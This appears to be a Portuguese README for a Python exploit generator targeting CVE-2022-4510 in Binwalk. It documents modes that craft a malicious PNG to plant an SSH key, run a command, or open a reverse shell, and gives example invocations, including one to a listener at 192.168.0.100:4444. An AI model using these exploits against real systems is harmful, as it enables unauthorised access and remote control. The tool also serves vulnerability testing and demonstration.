CVE-2022-4510-Binwalk

Este script permite gerar exploits para direcionar as vulnerabilidades CVE-2022-4510 do Binwalk. Os exploits podem ser usados para testes e demonstrações. As opções suportadas incluem SSH, execução de comandos e reverse shell.

Pré-requisitos

• Python 3.x

Uso

1. Clone o repositório ou baixe o arquivo do script.
2. Execute o script com as opções desejadas. As opções disponíveis são:
   • ssh: Gera um exploit para SSH.
     • Argumentos:
       • file: Caminho para o arquivo .png de entrada.
       • pub: Caminho para o arquivo de chave pública.
   • command: Gera um exploit para executar um comando.
     • Argumentos:
       • --command: Comando a ser executado.
       • file: Caminho para o arquivo .png de entrada.
   • reverse: Gera um exploit para reverse shell.
     • Argumentos:
       • file: Caminho para o arquivo .png de entrada.
       • ip: Endereço IP do listener.
       • port: Número da porta do listener.

Exemplos de uso:

python exploit_generator.py ssh input.png public_key.pub
python exploit_generator.py command --command "ls -l" input.png
python exploit_generator.py reverse input.png 192.168.0.100 4444

Saída

O exploit gerado será salvo como binwalk_exploit.png no diretório atual.

Aviso

Use este script com responsabilidade e apenas em sistemas nos quais você tenha permissão para testar ou demonstrar vulnerabilidades. O autor não se responsabiliza por qualquer uso ilegal ou não autorizado deste script.

Referências

https://github.com/electr0sm0g/CVE-2022-4510